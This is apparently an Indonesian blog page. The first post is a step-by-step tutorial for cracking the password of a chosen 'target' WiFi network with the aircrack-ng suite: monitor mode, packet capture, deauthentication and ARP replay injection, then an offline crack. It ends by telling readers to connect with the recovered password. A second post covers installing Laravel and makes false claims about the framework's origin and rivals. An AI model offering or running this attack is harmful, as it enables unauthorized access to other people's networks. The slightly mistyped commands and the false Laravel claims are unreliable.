Dipostingan sebelumnya saya sudah pernah membahas mengenai Cara Hack Password pada server, dimana kita menggunakan metode Dictionary Attack, namun pada pada postingan kali ini kita tinggal menggunakan tool hack bawaan kali linux nya.

Hal yang perlu kita lakukan adalah

1. Siapkan Kali linux dan pastikan tidak terhubung pada wifi manapun gunakan perintah airmon-ng check kill

2. Masuk pada terminal lalu ketikkan perintah airmon-ng


3.  Kemudian kita akan mengubah interface wlan 0 menjadi wlan0mon, ketikkan perintah airmon-ng start wlan0  


4. Selanjutnya ketikkan perintah airodump-ng wlan0mon. Perintah ini digunakan untuk melihat semua jaringan wifi yang tersedia pada wlan0mon. 


5.  Setelah menemukan target wifi untuk dihack, selanjutnya buka terminal baru dan masukkan perintah airodump-ng -c 3 -w simpan -bssid 02:0B:6B:D9:29:55 wlan0mon. Simpan itu adalah bssid dari wifi target yang nantinya akan kita buatkan list baru dengan nama simpan.cap. hasilnya adalah proses yang tidak berhenti karena traffic yang berjalan.


6. Selanjutnya masukkan perintah aireplay-ng -1 0 –a 02:0B:6B:D9:29:55 wlan0mon  

7. Masukkan perintah aireplay-ng -3 –b 02:0B:6B:D9:29:5 wlan0mon  


8.  Terakhir ketikan perintah aircrack-ng simpan.cap. Tunggu sampai proses selesai maka akan didapati seperti ini. 
Langkah terakhir tinggal connect kan ke wifi target dengan password yang telah ditemukan.

Selamat Mencoba...

#SalamHacking

Thursday, October 18, 2018

Cara Install Laravel dengan Mudah dan Cepat

Cara Install Laravel dengan Mudah dan Cepat


Laravel adalah salah framework keluaran terbaru yang dirilis oleh MIT pada tahun 2011 lalu. Laravel pada tahun 2013 telah berada pada puncak framework mengalahkan framework-framework sebelumnya seperti Ci, python, Yii dan lainnya. Sama halnya dengan framework lainnya, laravel menggunakan konsep MVC yaitu Model, View dan Controller. Namun, yang menjadi daya tarik programmer menggunakan laravel ini adalah fitur-fitur nya yang menarik dan elegan sehingga memudahkan pembacaan program dan coding nya. Adapun keunggulan laravel dibandingkan dengan framework lain yaitu :
  1. Simple
  2. Security
  3. Kualitas ( ex : Artisan, Auth.. )
  4. Extensi blade.php
  5. Cepat dan Singkat
  6. Memudahkan kerjasama
  7. Fitur Lengkap pada website resminya
  8. Desain Elegan
Nah, itu lah tadi keunggulan laravel dibandingkan framework lainnya. Mungkin setelah melihat keunggulan laravel diatas kita melihat biasa saja, tetapi setelah mencoba dan merasakan sendiri framework nya baru kita sadar kenapa banyak programmer pindah menggunakan laravel. 

Sebelum mencoba nya framework laravel ini, tentunya kita harus meng-install terlebih dahulu laravelnya. Terdapat dua cara untuk mendownload laravelnya yaitu melalui web resminya LARAVEL atau kalian bisa langsung download secara manual disini Laravel.

DIREKOMENDASIKAN DOWNLOAD SECARA MENUAL UNTUK INSTALL LARAVEL DENGAN MUDAH DAN CEPAT

Setelah berhasil mendownload laravel, selanjutnya kita akan meng-installnya. Pastikan terlebih dahulu folder-folder yang didownload seperti gambar dibawah ini


Kemudian hal yang harus kita lakukan adalah Duplicate file ini


Setelah di duplicate, rename file tersebut dengan menghapus .env.example. Pastikan file nya menjadi dua seperti berikut 


File env ini nantinya kita gunakan untuk menghubungkan ke database, jadi sangat diperlukan. Setelah itu kita masuk pada CMD ( command prompt ) untuk menginstall composer nya. Composer ini berguna untuk mendownload package-packager laravel. Lakukan perintah composer install pada posisi folder laravel.


Tunggu proses sampai selesai, jika sudah hal terakhir yang kita lakukan adalah generate package laravelnya dengan perintah php artisan key:generate


Tunggu prosesnya sampai selesai setelah itu, jalankan perintah php artisan serve untuk menjalankan laravel pada localhost:8000/ ini menuju halaman awal laravel. Tampilan awal laravel kurang lebih seperti gambar dibawah ini 



Okee.. itulah tadi cara install laravel dengan mudah dan cepat JIKA ADA KENDALA PROSES INSTALASI SILAHKAN HUBUNGI ADMIN atau Coba Lagi..

#Syntaxerror